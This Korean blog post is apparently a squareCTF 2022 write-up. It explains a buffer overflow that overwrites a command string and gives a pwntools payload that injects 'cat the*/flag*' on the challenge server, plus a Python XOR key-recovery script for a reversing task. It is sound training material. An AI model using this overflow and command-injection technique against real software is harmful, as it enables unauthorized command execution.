squareCTF writeup
2022. 12. 1. 17:00ㆍCTF
728x90
squareCTF writeup
1. Pulse Check
문제에 플래그가 존재한다.
2. EZ pwn 1
간단한 overflow 문제였다.
source를 보면 way_too_small_input_buf의 값이 no\n 가 아니라면 ls 명령을 실행해주는 프로그램인 것을 알 수 있는데, way_too_small_input_buf 변수의 크기가 8바이트임에도 불구하고, read 함수에서 24바이트를 입력받아 오버플로우 공격이 가능한 것을 알 수 있다.
그러므로 8byte를 임의의 값으로 채워주고, command를 내가 원하는 명령어로 채워주면 플래그를 얻을 수 있을 것 같다.
공격 payload
from pwn import *
r = remote('chals.2022.squarectf.com', 4100)
elf = ELF('./ez-pwn-1')
payload = ''
payload += 'a' * 8 + 'cat the*/flag*'
r.send(payload)
r.interactive()
3. EZ RE 1
이 문제는 flag_arr의 값을 buf의 값과 xor하여 암호화한 값을 입력하면 플래그를 주는 문제
main함수를 보면 키를 묻고 있는데, 키를 입력하면 입력한 키를 복호화 로직을 통해서 평문을 보여주는 것 같다.
복호화 로직을 보면 flag_arr[i + j]와 buf[j]를 XOR 하여 v9[i + j]에 저장하는 것을 볼 수 있다.
이를 이용해서 플래그를 얻기 위한 키를 찾는 프로그램을 작성했다.
buf = 'flag{'
flag_arr = [10, 3, 13, 31, 31, 24, 7, 9, 39, 2, 25, 1, 15, 12, 13, 3, 1, 51, 22, 5, 1, 10, 31, 39, 5, 30, 10, 51, 25, 59, 15, 0, 1, 21, 17, 24, 14, 24, 17, 18, 9, 48, 28, 10, 11, 28, 10, 30, 12, 29, 51, 5, 3, 19, 1, 51, 8, 9, 12, 59, 5, 27, 17, 0]
result = [0] * 63
for i in range(0, 63, 5):
j = 0
while True:
if j < 5 and i + j != 63:
result[i + j] = flag_arr[i + j] ^ ord(buf[j])
j += 1
else:
break
for i in result:
print(chr(i), end='')
이렇게 얻은 키를 프로그램에 입력하면 플래그를 얻을 수 있다.
728x90
'CTF' 카테고리의 다른 글
UgraCTF Quals 2023 - Writeup (0) | 2023.01.15 |
---|---|
2022 ChristmasCTF Writeup - Programming (0) | 2023.01.01 |
2022 ChristmasCTF Writeup - Web (0) | 2022.12.31 |